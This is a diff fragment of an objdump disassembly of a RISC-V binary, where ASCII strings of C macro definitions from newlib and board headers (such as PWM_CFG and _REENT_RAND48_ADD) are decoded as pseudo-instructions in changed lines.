-    2576:	285f 5f28 775f      	0x775f5f28285f
-    257c:	6165                	addi	sp,sp,112
-    257e:	295f5f6b          	0x295f5f6b
-    2582:	0029                	c.nop	10
-    2584:	5f5f 6c66 7865      	0x78656c665f5f
-    258a:	7261                	lui	tp,0xffff8
-    258c:	2072                	fld	ft0,280(sp)
-    258e:	005d305b          	0x5d305b
-    2592:	525f 4545 544e      	0x544e4545525f
-    2598:	525f 4e41 3444      	0x34444e41525f
-    259e:	5f38                	lw	a4,120(a4)
-    25a0:	4441                	li	s0,16
-    25a2:	2844                	fld	fs1,144(s0)
-    25a4:	7470                	flw	fa2,108(s0)
-    25a6:	2972                	fld	fs2,280(sp)
-    25a8:	2820                	fld	fs0,80(s0)
-    25aa:	7028                	flw	fa0,96(s0)
-    25ac:	7274                	flw	fa3,100(a2)
-    25ae:	2d29                	jal	2bc8 <__stack_size+0x23c8>
-    25b0:	5f3e                	lw	t5,236(sp)
-    25b2:	656e                	flw	fa0,216(sp)
-    25b4:	725f2e77          	0x725f2e77
-    25b8:	6565                	lui	a0,0x19
-    25ba:	746e                	flw	fs0,248(sp)
-    25bc:	5f2e                	lw	t5,232(sp)
-    25be:	3472                	fld	fs0,312(sp)
-    25c0:	2e38                	fld	fa4,88(a2)
-    25c2:	615f 6464 0029      	0x296464615f
-    25c8:	5750                	lw	a2,44(a4)
-    25ca:	5f4d                	li	t5,-13
-    25cc:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    25d0:	30504d43          	fmadd.s	fs10,ft0,ft5,ft6,rmm
-    25d4:	5049                	c.li	zero,-14
-    25d6:	3020                	fld	fs0,96(s0)
-    25d8:	3178                	fld	fa4,224(a0)
-    25da:	3030                	fld	fa2,96(s0)
-    25dc:	3030                	fld	fa2,96(s0)
-    25de:	3030                	fld	fa2,96(s0)
-    25e0:	0030                	addi	a2,sp,8
-    25e2:	5542                	lw	a0,48(sp)
-    25e4:	4646                	lw	a2,80(sp)
-    25e6:	5245                	li	tp,-15
-    25e8:	535f 5a49 2045      	0x20455a49535f
-    25ee:	63003233          	0x63003233
-    25f2:	6c5f6c6f          	jal	s8,f94b6 <__stack_size+0xf8cb6>
-    25f6:	6e65                	lui	t3,0x19
-    25f8:	4f00                	lw	s0,24(a4)
-    25fa:	435f 4f4c 5845      	0x58454f4c435f
-    2600:	4345                	li	t1,17
-    2602:	5f20                	lw	s0,120(a4)
-    2604:	4e46                	lw	t3,80(sp)
-    2606:	484e494f          	fnmadd.s	fs2,ft8,ft4,fs1,rmm
-    260a:	5245                	li	tp,-15
-    260c:	5449                	li	s0,-14
-    260e:	4100                	lw	s0,0(a0)
-    2610:	53454343          	fmadd.d	ft6,fa0,fs4,fa0,rmm
-    2614:	52455053          	0x52455053
-    2618:	534d                	li	t1,-13
-    261a:	2820                	fld	fs0,80(s0)
-    261c:	52495f53          	0x52495f53
-    2620:	20555857          	0x20555857
-    2624:	207c                	fld	fa5,192(s0)
-    2626:	52495f53          	0x52495f53
-    262a:	20475857          	0x20475857
-    262e:	207c                	fld	fa5,192(s0)
-    2630:	52495f53          	0x52495f53
-    2634:	294f5857          	0x294f5857
-    2638:	5f00                	lw	s0,56(a4)
-    263a:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    2640:	6572                	flw	fa0,28(sp)
-    2642:	656c                	flw	fa1,76(a0)
-    2644:	7361                	lui	t1,0xffff8
-    2646:	2865                	jal	26fe <__stack_size+0x1efe>
-    2648:	6f6c                	flw	fa1,92(a4)
-    264a:	20296b63          	bltu	s2,sp,2860 <__stack_size+0x2060>
-    264e:	2828                	fld	fa0,80(s0)
-    2650:	6f76                	flw	ft10,92(sp)
-    2652:	6469                	lui	s0,0x1a
-    2654:	2029                	jal	265e <__stack_size+0x1e5e>
-    2656:	2930                	fld	fa2,80(a0)
-    2658:	5f00                	lw	s0,56(a4)
-    265a:	4f5f 4452 5245      	0x524544524f5f
-    2660:	4c5f 5449 4c54      	0x4c5454494c5f
-    2666:	5f45                	li	t5,-15
-    2668:	4e45                	li	t3,17
-    266a:	4944                	lw	s1,20(a0)
-    266c:	4e41                	li	t3,16
-    266e:	5f5f 3120 3332      	0x333231205f5f
-    2674:	0034                	addi	a3,sp,8
-    2676:	505f 5254 4944      	0x49445254505f
-    267c:	4646                	lw	a2,80(sp)
-    267e:	545f 445f 4345      	0x4345445f545f
-    2684:	414c                	lw	a1,4(a0)
-    2686:	4552                	lw	a0,20(sp)
-    2688:	2044                	fld	fs1,128(s0)
-    268a:	5f00                	lw	s0,56(a4)
-    268c:	4552                	lw	a0,20(sp)
-    268e:	4e45                	li	t3,17
-    2690:	5f54                	lw	a3,60(a4)
-    2692:	4e474953          	0x4e474953
-    2696:	284d4147          	fmsub.s	ft2,fs10,ft4,ft5,rmm
-    269a:	7470                	flw	fa2,108(s0)
-    269c:	2972                	fld	fs2,280(sp)
-    269e:	2820                	fld	fs0,80(s0)
-    26a0:	7028                	flw	fa0,96(s0)
-    26a2:	7274                	flw	fa3,100(a2)
-    26a4:	2d29                	jal	2cbe <__stack_size+0x24be>
-    26a6:	5f3e                	lw	t5,236(sp)
-    26a8:	656e                	flw	fa0,216(sp)
-    26aa:	725f2e77          	0x725f2e77
-    26ae:	6565                	lui	a0,0x19
-    26b0:	746e                	flw	fs0,248(sp)
-    26b2:	5f2e                	lw	t5,232(sp)
-    26b4:	6d6d6167          	0x6d6d6167
-    26b8:	5f61                	li	t5,-8
-    26ba:	6e676973          	csrrsi	s2,0x6e6,14
-    26be:	296d6167          	0x296d6167
-    26c2:	5f00                	lw	s0,56(a4)
-    26c4:	615f 776c 7961      	0x7961776c615f
-    26ca:	6e695f73          	csrrwi	t5,0x6e6,18
-    26ce:	696c                	flw	fa1,84(a0)
-    26d0:	656e                	flw	fa0,216(sp)
-    26d2:	5f20                	lw	s0,120(a4)
-    26d4:	695f 6c6e 6e69      	0x6e696c6e695f
-    26da:	5f65                	li	t5,-7
-    26dc:	205f 5f5f 7461      	0x74615f5f205f
-    26e2:	7274                	flw	fa3,100(a2)
-    26e4:	6269                	lui	tp,0x1a
-    26e6:	7475                	lui	s0,0xffffd
-    26e8:	5f65                	li	t5,-7
-    26ea:	285f 5f28 615f      	0x615f5f28285f
-    26f0:	776c                	flw	fa1,108(a4)
-    26f2:	7961                	lui	s2,0xffff8
-    26f4:	6e695f73          	csrrwi	t5,0x6e6,18
-    26f8:	696c                	flw	fa1,84(a0)
-    26fa:	656e                	flw	fa0,216(sp)
-    26fc:	5f5f 2929 5300      	0x530029295f5f
-    2702:	495f 5752 5558      	0x55585752495f
-    2708:	2820                	fld	fs0,80(s0)
-    270a:	52495f53          	0x52495f53
-    270e:	5355                	li	t1,-11
-    2710:	2052                	fld	ft0,272(sp)
-    2712:	207c                	fld	fa5,192(s0)
-    2714:	57495f53          	0x57495f53
-    2718:	5355                	li	t1,-11
-    271a:	2052                	fld	ft0,272(sp)
-    271c:	207c                	fld	fa5,192(s0)
-    271e:	58495f53          	0x58495f53
-    2722:	5355                	li	t1,-11
-    2724:	2952                	fld	fs2,272(sp)
-    2726:	5f00                	lw	s0,56(a4)
-    2728:	755f 6e69 3374      	0x33746e69755f
-    272e:	5f32                	lw	t5,44(sp)
-    2730:	0074                	addi	a3,sp,12
-    2732:	5f5f 4c46 5f54      	0x5f544c465f5f
-    2738:	4944                	lw	s1,20(a0)
-    273a:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    273e:	0036                	c.slli	zero,0xd
-    2740:	5f5f 6c61 6f6c      	0x6f6c6c615f5f
-    2746:	69735f63          	bge	t1,s7,2de4 <__stack_size+0x25e4>
-    274a:	657a                	flw	fa0,156(sp)
-    274c:	2832                	fld	fa6,264(sp)
-    274e:	2c6e                	fld	fs8,216(sp)
-    2750:	2978                	fld	fa4,208(a0)
-    2752:	5f20                	lw	s0,120(a4)
-    2754:	615f 7474 6972      	0x69727474615f
-    275a:	7562                	flw	fa0,56(sp)
-    275c:	6574                	flw	fa3,76(a0)
-    275e:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    2764:	6c61                	lui	s8,0x18
-    2766:	6f6c                	flw	fa1,92(a4)
-    2768:	69735f63          	bge	t1,s7,2e06 <__stack_size+0x2606>
-    276c:	657a                	flw	fa0,156(sp)
-    276e:	5f5f 6e28 202c      	0x202c6e285f5f
-    2774:	2978                	fld	fa4,208(a0)
-    2776:	2929                	jal	2b90 <__stack_size+0x2390>
-    2778:	5f00                	lw	s0,56(a4)
-    277a:	445f 4c42 4d5f      	0x4d5f4c42445f
-    2780:	5841                	li	a6,-16
-    2782:	455f 5058 5f5f      	0x5f5f5058455f
-    2788:	3120                	fld	fs0,96(a0)
-    278a:	3230                	fld	fa2,96(a2)
-    278c:	0034                	addi	a3,sp,8
-    278e:	6e75                	lui	t3,0x1d
-    2790:	6e676973          	csrrsi	s2,0x6e6,14
-    2794:	6465                	lui	s0,0x19
-    2796:	7320                	flw	fs0,96(a4)
-    2798:	6769                	lui	a4,0x1a
-    279a:	656e                	flw	fa0,216(sp)
-    279c:	0064                	addi	s1,sp,12
-    279e:	5f5f 4955 544e      	0x544e49555f5f
-    27a4:	4c5f 4145 5453      	0x545341454c5f
-    27aa:	3631                	jal	22b6 <__stack_size+0x1ab6>
-    27ac:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    27b2:	3020                	fld	fs0,96(s0)
-    27b4:	6678                	flw	fa4,76(a2)
-    27b6:	6666                	flw	fa2,88(sp)
-    27b8:	0066                	c.slli	zero,0x19
-    27ba:	5f5f 4953 455a      	0x455a49535f5f
-    27c0:	575f 4449 4854      	0x48544449575f
-    27c6:	5f5f 3320 0032      	0x3233205f5f
-    27cc:	4446                	lw	s0,80(sp)
-    27ce:	535f 5445 6e28      	0x6e285445535f
-    27d4:	702c                	flw	fa1,96(s0)
-    27d6:	2029                	jal	27e0 <__stack_size+0x1fe0>
-    27d8:	2828                	fld	fa0,80(s0)
-    27da:	2970                	fld	fa2,208(a0)
-    27dc:	3e2d                	jal	2316 <__stack_size+0x1b16>
-    27de:	6466                	flw	fs0,88(sp)
-    27e0:	69625f73          	csrrwi	t5,0x696,4
-    27e4:	7374                	flw	fa3,100(a4)
-    27e6:	296e285b          	0x296e285b
-    27ea:	44464e2f          	0x44464e2f
-    27ee:	4942                	lw	s2,16(sp)
-    27f0:	5354                	lw	a3,36(a4)
-    27f2:	205d                	jal	2898 <__stack_size+0x2098>
-    27f4:	3d7c                	fld	fa5,248(a0)
-    27f6:	2820                	fld	fs0,80(s0)
-    27f8:	4c31                	li	s8,12
-    27fa:	3c20                	fld	fs0,120(s0)
-    27fc:	203c                	fld	fa5,64(s0)
-    27fe:	2828                	fld	fa0,80(s0)
-    2800:	296e                	fld	fs2,216(sp)
-    2802:	2520                	fld	fs0,72(a0)
-    2804:	4e20                	lw	s0,88(a2)
-    2806:	4446                	lw	s0,80(sp)
-    2808:	4942                	lw	s2,16(sp)
-    280a:	5354                	lw	a3,36(a4)
-    280c:	2929                	jal	2c26 <__stack_size+0x2426>
-    280e:	0029                	c.nop	10
-    2810:	5f5f 756e 6c6c      	0x6c6c756e5f5f
-    2816:	735f 6e65 6974      	0x69746e65735f
-    281c:	656e                	flw	fa0,216(sp)
-    281e:	206c                	fld	fa1,192(s0)
-    2820:	5f5f 7461 7274      	0x727474615f5f
-    2826:	6269                	lui	tp,0x1a
-    2828:	7475                	lui	s0,0xffffd
-    282a:	5f65                	li	t5,-7
-    282c:	285f 5f28 735f      	0x735f5f28285f
-    2832:	6e65                	lui	t3,0x19
-    2834:	6974                	flw	fa3,84(a0)
-    2836:	656e                	flw	fa0,216(sp)
-    2838:	5f6c                	lw	a1,124(a4)
-    283a:	295f 0029 535f      	0x535f0029295f
-    2840:	45475f43          	0x45475f43
-    2844:	4754                	lw	a3,12(a4)
-    2846:	5f52                	lw	t5,52(sp)
-    2848:	5f52                	lw	t5,52(sp)
-    284a:	455a4953          	0x455a4953
-    284e:	4d5f 5841 3520      	0x352058414d5f
-    2854:	0030                	addi	a2,sp,8
-    2856:	535f 5359 535f      	0x535f5359535f
-    285c:	5254                	lw	a3,36(a2)
-    285e:	4e49                	li	t3,18
-    2860:	20485f47          	fmsub.s	ft10,fa6,ft4,ft4,unknown
-    2864:	5300                	lw	s0,32(a4)
-    2866:	4454                	lw	a3,12(s0)
-    2868:	5f54554f          	fnmadd.q	fa0,fs0,fs5,fa1,unknown
-    286c:	4946                	lw	s2,80(sp)
-    286e:	454c                	lw	a1,12(a0)
-    2870:	4f4e                	lw	t5,208(sp)
-    2872:	3120                	fld	fs0,96(a0)
-    2874:	5f00                	lw	s0,56(a4)
-    2876:	535f 5a49 4f45      	0x4f455a49535f
-    287c:	5f46                	lw	t5,112(sp)
-    287e:	455a4953          	0x455a4953
-    2882:	545f 5f5f 3420      	0x34205f5f545f
-    2888:	5000                	lw	s0,32(s0)
-    288a:	5441                	li	s0,-16
-    288c:	5f48                	lw	a0,60(a4)
-    288e:	414d                	li	sp,19
-    2890:	2058                	fld	fa4,128(s0)
-    2892:	3031                	jal	209e <__stack_size+0x189e>
-    2894:	3432                	fld	fs0,296(sp)
-    2896:	5f00                	lw	s0,56(a4)
-    2898:	465f 544c 3436      	0x3436544c465f
-    289e:	5f58                	lw	a4,60(a4)
-    28a0:	414d                	li	sp,19
-    28a2:	5f58                	lw	a4,60(a4)
-    28a4:	205f 2e31 3831      	0x38312e31205f
-    28aa:	3739                	jal	27b8 <__stack_size+0x1fb8>
-    28ac:	39343133          	0x39343133
-    28b0:	3335                	jal	25dc <__stack_size+0x1ddc>
-    28b2:	3735                	jal	27de <__stack_size+0x1fde>
-    28b4:	3332                	fld	ft6,296(sp)
-    28b6:	3731                	jal	27c2 <__stack_size+0x1fc2>
-    28b8:	3536                	fld	fa0,360(sp)
-    28ba:	3830                	fld	fa2,112(s0)
-    28bc:	3735                	jal	27e8 <__stack_size+0x1fe8>
-    28be:	3935                	jal	24fa <__stack_size+0x1cfa>
-    28c0:	36363233          	0x36363233
-    28c4:	3832                	fld	fa6,296(sp)
-    28c6:	3030                	fld	fa2,96(s0)
-    28c8:	65323037          	lui	zero,0x65323
-    28cc:	3339342b          	0x3339342b
-    28d0:	4632                	lw	a2,12(sp)
-    28d2:	3436                	fld	fs0,360(sp)
-    28d4:	0078                	addi	a4,sp,12
-    28d6:	535f 5f43 454c      	0x454c5f43535f
-    28dc:	4556                	lw	a0,84(sp)
-    28de:	344c                	fld	fa1,168(s0)
-    28e0:	435f 4341 4548      	0x45484341435f
-    28e6:	535f 5a49 2045      	0x20455a49535f
-    28ec:	3331                	jal	25f8 <__stack_size+0x1df8>
-    28ee:	48530037          	lui	zero,0x48530
-    28f2:	5452                	lw	s0,52(sp)
-    28f4:	4d5f 4e49 2820      	0x28204e494d5f
-    28fa:	532d                	li	t1,-21
-    28fc:	5248                	lw	a0,36(a2)
-    28fe:	5f54                	lw	a3,60(a4)
-    2900:	414d                	li	sp,19
-    2902:	2058                	fld	fa4,128(s0)
-    2904:	202d                	jal	292e <__stack_size+0x212e>
-    2906:	2931                	jal	2d22 <__stack_size+0x2522>
-    2908:	4900                	lw	s0,16(a0)
-    290a:	544e                	lw	s0,240(sp)
-    290c:	4c5f 4145 5453      	0x545341454c5f
-    2912:	3631                	jal	241e <__stack_size+0x1c1e>
-    2914:	4d5f 5841 5f20      	0x5f2058414d5f
-    291a:	495f 544e 4c5f      	0x4c5f544e495f
-    2920:	4145                	li	sp,17
-    2922:	36315453          	0x36315453
-    2926:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    292c:	5f00                	lw	s0,56(a4)
-    292e:	555f 4e49 5f54      	0x5f544e49555f
-    2934:	454c                	lw	a1,12(a0)
-    2936:	5341                	li	t1,-16
-    2938:	3654                	fld	fa3,168(a2)
-    293a:	5f34                	lw	a3,120(a4)
-    293c:	414d                	li	sp,19
-    293e:	5f58                	lw	a4,60(a4)
-    2940:	205f 7830 6666      	0x66667830205f
-    2946:	6666                	flw	fa2,88(sp)
-    2948:	6666                	flw	fa2,88(sp)
-    294a:	6666                	flw	fa2,88(sp)
-    294c:	6666                	flw	fa2,88(sp)
-    294e:	6666                	flw	fa2,88(sp)
-    2950:	6666                	flw	fa2,88(sp)
-    2952:	6666                	flw	fa2,88(sp)
-    2954:	4c55                	li	s8,21
-    2956:	004c                	addi	a1,sp,4
-    2958:	4558                	lw	a4,12(a0)
-    295a:	414d                	li	sp,19
-    295c:	41425f43          	fmadd.s	ft10,ft4,fs4,fs0,unknown
-    2960:	30204553          	0x30204553
-    2964:	3678                	fld	fa4,232(a2)
-    2966:	3030                	fld	fa2,96(s0)
-    2968:	3030                	fld	fa2,96(s0)
-    296a:	3030                	fld	fa2,96(s0)
-    296c:	0030                	addi	a2,sp,8
-    296e:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    2974:	725f 6c65 6165      	0x61656c65725f
-    297a:	725f6573          	csrrsi	a0,0x725,30
-    297e:	6365                	lui	t1,0x19
-    2980:	7275                	lui	tp,0xffffd
-    2982:	65766973          	csrrsi	s2,0x657,12
-    2986:	6c28                	flw	fa0,88(s0)
-    2988:	296b636f          	jal	t1,b8c1e <__stack_size+0xb841e>
-    298c:	2820                	fld	fs0,80(s0)
-    298e:	7628                	flw	fa0,104(a2)
-    2990:	2964696f          	jal	s2,48c26 <__stack_size+0x48426>
-    2994:	3020                	fld	fs0,96(s0)
-    2996:	0029                	c.nop	10
-    2998:	5f5f 6f66 6d72      	0x6d726f665f5f
-    299e:	7461                	lui	s0,0xffff8
-    29a0:	615f 6772 6628      	0x66286772615f
-    29a6:	746d                	lui	s0,0xffffb
-    29a8:	7261                	lui	tp,0xffff8
-    29aa:	5f202967          	0x5f202967
-    29ae:	615f 7474 6972      	0x69727474615f
-    29b4:	7562                	flw	fa0,56(sp)
-    29b6:	6574                	flw	fa3,76(a0)
-    29b8:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    29be:	6f66                	flw	ft10,88(sp)
-    29c0:	6d72                	flw	fs10,28(sp)
-    29c2:	7461                	lui	s0,0xffff8
-    29c4:	615f 6772 5f5f      	0x5f5f6772615f
-    29ca:	2820                	fld	fs0,80(s0)
-    29cc:	6d66                	flw	fs10,88(sp)
-    29ce:	6174                	flw	fa3,68(a0)
-    29d0:	6772                	flw	fa4,28(sp)
-    29d2:	2929                	jal	2dec <__stack_size+0x25ec>
-    29d4:	0029                	c.nop	10
-    29d6:	5f5f 4c53 3436      	0x34364c535f5f
-    29dc:	3020                	fld	fs0,96(s0)
-    29de:	3878                	fld	fa4,240(s0)
-    29e0:	3030                	fld	fa2,96(s0)
-    29e2:	0030                	addi	a2,sp,8
-    29e4:	4d44                	lw	s1,28(a0)
-    29e6:	5f41                	li	t5,-16
-    29e8:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    29ec:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
-    29f0:	7830                	flw	fa2,112(s0)
-    29f2:	3031                	jal	21fe <__stack_size+0x19fe>
-    29f4:	5700                	lw	s0,40(a4)
-    29f6:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    29fa:	4d5f 4e49 5f00      	0x5f004e494d5f
-    2a00:	4544                	lw	s1,12(a0)
-    2a02:	4146                	lw	sp,80(sp)
-    2a04:	4c55                	li	s8,21
-    2a06:	5f54                	lw	a3,60(a4)
-    2a08:	52554f53          	0x52554f53
-    2a0c:	50004543          	fmadd.s	fa0,ft0,ft0,fa0,rmm
-    2a10:	435f4d57          	0x435f4d57
-    2a14:	4746                	lw	a4,80(sp)
-    2a16:	435f 504d 4333      	0x4333504d435f
-    2a1c:	4e45                	li	t3,17
-    2a1e:	4554                	lw	a3,12(a0)
-    2a20:	2052                	fld	ft0,272(sp)
-    2a22:	7830                	flw	fa2,112(s0)
-    2a24:	3030                	fld	fa2,96(s0)
-    2a26:	3830                	fld	fa2,112(s0)
-    2a28:	3030                	fld	fa2,96(s0)
+    2432:	3030                	fld	fa2,96(s0)
+    2434:	2d65                	jal	2aec <__stack_size+0x22ec>
+    2436:	5f004637          	lui	a2,0x5f004
+    243a:	545f4353          	0x545f4353
+    243e:	5248                	lw	a0,36(a2)
+    2440:	4145                	li	sp,17
+    2442:	5f44                	lw	s1,60(a4)
+    2444:	54555043          	0x54555043
+    2448:	4d49                	li	s10,18
+    244a:	2045                	jal	24ea <__stack_size+0x1cea>
+    244c:	3038                	fld	fa4,96(s0)
+    244e:	4700                	lw	s0,8(a4)
+    2450:	4950                	lw	a2,20(a0)
+    2452:	554f5f4f          	0x554f5f4f
+    2456:	5054                	lw	a3,36(s0)
+    2458:	5455                	li	s0,-11
+    245a:	565f 4c41 3020      	0x30204c41565f
+    2460:	3078                	fld	fa4,224(s0)
+    2462:	49550043          	fmadd.s	ft0,fa0,fs5,fs1,rne
+    2466:	544e                	lw	s0,240(sp)
+    2468:	5450                	lw	a2,44(s0)
+    246a:	5f52                	lw	t5,52(sp)
+    246c:	414d                	li	sp,19
+    246e:	0058                	addi	a4,sp,4
+    2470:	5f46                	lw	t5,112(sp)
+    2472:	4554                	lw	a3,12(a0)
+    2474:	33205453          	0x33205453
+    2478:	5f00                	lw	s0,56(a4)
+    247a:	545f4353          	0x545f4353
+    247e:	5248                	lw	a0,36(a2)
+    2480:	4145                	li	sp,17
+    2482:	5344                	lw	s1,36(a4)
+    2484:	3420                	fld	fs0,104(s0)
+    2486:	0032                	c.slli	zero,0xc
+    2488:	4e49                	li	t3,18
+    248a:	3354                	fld	fa3,160(a4)
+    248c:	5f32                	lw	t5,44(sp)
+    248e:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    2492:	5f20                	lw	s0,120(a4)
+    2494:	495f 544e 3233      	0x3233544e495f
+    249a:	435f 6328 0029      	0x296328435f
+    24a0:	5f5f 4c46 3654      	0x36544c465f5f
+    24a6:	5834                	lw	a3,112(s0)
+    24a8:	4d5f 4e49 315f      	0x315f4e494d5f
+    24ae:	5f30                	lw	a2,120(a4)
+    24b0:	5845                	li	a6,-15
+    24b2:	5f50                	lw	a2,60(a4)
+    24b4:	205f 2d28 3934      	0x39342d28205f
+    24ba:	00293133          	sltu	sp,s2,sp
+    24be:	535f 5f43 4854      	0x48545f43535f
+    24c4:	4552                	lw	a0,20(sp)
+    24c6:	4441                	li	s0,16
+    24c8:	415f 5454 5f52      	0x5f525454415f
+    24ce:	43415453          	0x43415453
+    24d2:	4444414b          	0x4444414b
+    24d6:	2052                	fld	ft0,272(sp)
+    24d8:	3334                	fld	fa3,96(a4)
+    24da:	5f00                	lw	s0,56(a4)
+    24dc:	4e46                	lw	t3,80(sp)
+    24de:	4c424e4f          	0x4c424e4f
+    24e2:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
+    24e6:	7830                	flw	fa2,112(s0)
+    24e8:	3034                	fld	fa3,96(s0)
+    24ea:	3030                	fld	fa2,96(s0)
+    24ec:	5f00                	lw	s0,56(a4)
+    24ee:	475f 4343 415f      	0x415f4343475f
+    24f4:	4f54                	lw	a3,28(a4)
+    24f6:	494d                	li	s2,19
+    24f8:	45545f43          	0x45545f43
+    24fc:	415f5453          	0x415f5453
+    2500:	444e                	lw	s0,208(sp)
+    2502:	535f 5445 545f      	0x545f5445535f
+    2508:	5552                	lw	a0,52(sp)
+    250a:	5645                	li	a2,-15
+    250c:	4c41                	li	s8,16
+    250e:	3120                	fld	fs0,96(a0)
+    2510:	5f00                	lw	s0,56(a4)
+    2512:	555f 4e49 3354      	0x33544e49555f
+    2518:	5f32                	lw	t5,44(sp)
+    251a:	5954                	lw	a3,52(a0)
+    251c:	4550                	lw	a2,12(a0)
+    251e:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
+    2524:	6e752067          	0x6e752067
+    2528:	6e676973          	csrrsi	s2,0x6e6,14
+    252c:	6465                	lui	s0,0x19
+    252e:	6920                	flw	fs0,80(a0)
+    2530:	746e                	flw	fs0,248(sp)
+    2532:	5f00                	lw	s0,56(a4)
+    2534:	475f 554e 4c43      	0x4c43554e475f
+    253a:	4b49                	li	s6,18
+    253c:	5f45                	li	t5,-15
+    253e:	5f5f 464f 5346      	0x5346464f5f5f
+    2544:	5445                	li	s0,-15
+    2546:	3120464f          	fnmadd.s	fa2,ft0,fs2,ft6,rmm
+    254a:	5f00                	lw	s0,56(a4)
+    254c:	4c5f4353          	0x4c5f4353
+    2550:	5645                	li	a2,-15
+    2552:	4c45                	li	s8,17
+    2554:	5f31                	li	t5,-20
+    2556:	4344                	lw	s1,4(a4)
+    2558:	4341                	li	t1,16
+    255a:	4548                	lw	a0,12(a0)
+    255c:	535f 5a49 2045      	0x20455a49535f
+    2562:	3231                	jal	1e6e <__stack_size+0x166e>
+    2564:	0038                	addi	a4,sp,8
+    2566:	5f5f 4955 544e      	0x544e49555f5f
+    256c:	5f38                	lw	a4,120(a4)
+    256e:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    2572:	6320                	flw	fs0,64(a4)
+    2574:	4600                	lw	s0,8(a2)
+    2576:	5f44                	lw	s1,60(a4)
+    2578:	454f4c43          	0x454f4c43
+    257c:	4558                	lw	a4,12(a0)
+    257e:	00312043          	fmadd.s	ft0,ft2,ft3,ft0,rdn
+    2582:	5f5f 4c46 3354      	0x33544c465f5f
+    2588:	5f32                	lw	t5,44(sp)
+    258a:	414d                	li	sp,19
+    258c:	5f58                	lw	a4,60(a4)
+    258e:	205f 2e33 3034      	0x30342e33205f
+    2594:	3832                	fld	fa6,296(sp)
+    2596:	3332                	fld	ft6,296(sp)
+    2598:	3634                	fld	fa3,104(a2)
+    259a:	3336                	fld	ft6,360(sp)
+    259c:	3538                	fld	fa4,104(a0)
+    259e:	3832                	fld	fa6,296(sp)
+    25a0:	3538                	fld	fa4,104(a0)
+    25a2:	3839                	jal	1dc0 <__stack_size+0x15c0>
+    25a4:	3131                	jal	21b0 <__stack_size+0x19b0>
+    25a6:	31343037          	lui	zero,0x31343
+    25aa:	3338                	fld	fa4,96(a4)
+    25ac:	3834                	fld	fa3,112(s0)
+    25ae:	3534                	fld	fa3,104(a0)
+    25b0:	3631                	jal	20bc <__stack_size+0x18bc>
+    25b2:	3239                	jal	1ec0 <__stack_size+0x16c0>
+    25b4:	6535                	lui	a0,0xd
+    25b6:	4638332b          	0x4638332b
+    25ba:	5f003233          	0x5f003233
+    25be:	544e4157          	0x544e4157
+    25c2:	525f 4745 5349      	0x53494745525f
+    25c8:	4554                	lw	a3,12(a0)
+    25ca:	5f52                	lw	t5,52(sp)
+    25cc:	4946                	lw	s2,80(sp)
+    25ce:	494e                	lw	s2,208(sp)
+    25d0:	3120                	fld	fs0,96(a0)
+    25d2:	4700                	lw	s0,8(a4)
+    25d4:	4950                	lw	a2,20(a0)
+    25d6:	49485f4f          	fnmadd.s	ft10,fa6,fs4,fs1,unknown
+    25da:	495f4847          	fmsub.s	fa6,ft10,fs5,fs1,rmm
+    25de:	2045                	jal	267e <__stack_size+0x1e7e>
+    25e0:	7830                	flw	fa2,112(s0)
+    25e2:	3832                	fld	fa6,296(sp)
+    25e4:	4900                	lw	s0,16(a0)
+    25e6:	544e                	lw	s0,240(sp)
+    25e8:	5f38                	lw	a4,120(a4)
+    25ea:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    25ee:	5f20                	lw	s0,120(a4)
+    25f0:	495f 544e 5f38      	0x5f38544e495f
+    25f6:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    25fa:	5500                	lw	s0,40(a0)
+    25fc:	4e49                	li	t3,18
+    25fe:	3154                	fld	fa3,160(a0)
+    2600:	5f36                	lw	t5,108(sp)
+    2602:	414d                	li	sp,19
+    2604:	2058                	fld	fa4,128(s0)
+    2606:	5f5f 4955 544e      	0x544e49555f5f
+    260c:	3631                	jal	2118 <__stack_size+0x1918>
+    260e:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    2614:	5f00                	lw	s0,56(a4)
+    2616:	775f 6165 5f6b      	0x5f6b6165775f
+    261c:	626d7973          	csrrci	s2,0x626,26
+    2620:	5f206c6f          	jal	s8,8c12 <__stack_size+0x8412>
+    2624:	615f 7474 6972      	0x69727474615f
+    262a:	7562                	flw	fa0,56(sp)
+    262c:	6574                	flw	fa3,76(a0)
+    262e:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    2634:	6b616577          	0x6b616577
+    2638:	5f5f 2929 5f00      	0x5f0029295f5f
+    263e:	665f 656c 6178      	0x6178656c665f
+    2644:	7272                	flw	ft4,60(sp)
+    2646:	5b20                	lw	s0,112(a4)
+    2648:	5d30                	lw	a2,120(a0)
+    264a:	5f00                	lw	s0,56(a4)
+    264c:	4552                	lw	a0,20(sp)
+    264e:	4e45                	li	t3,17
+    2650:	5f54                	lw	a3,60(a4)
+    2652:	4152                	lw	sp,20(sp)
+    2654:	444e                	lw	s0,208(sp)
+    2656:	3834                	fld	fa3,112(s0)
+    2658:	415f 4444 7028      	0x70284444415f
+    265e:	7274                	flw	fa3,100(a2)
+    2660:	2029                	jal	266a <__stack_size+0x1e6a>
+    2662:	2828                	fld	fa0,80(s0)
+    2664:	7470                	flw	fa2,108(s0)
+    2666:	2972                	fld	fs2,280(sp)
+    2668:	3e2d                	jal	21a2 <__stack_size+0x19a2>
+    266a:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    2670:	6572                	flw	fa0,28(sp)
+    2672:	6e65                	lui	t3,0x19
+    2674:	2e74                	fld	fa3,216(a2)
+    2676:	725f 3834 5f2e      	0x5f2e3834725f
+    267c:	6461                	lui	s0,0x18
+    267e:	2964                	fld	fs1,208(a0)
+    2680:	5000                	lw	s0,32(s0)
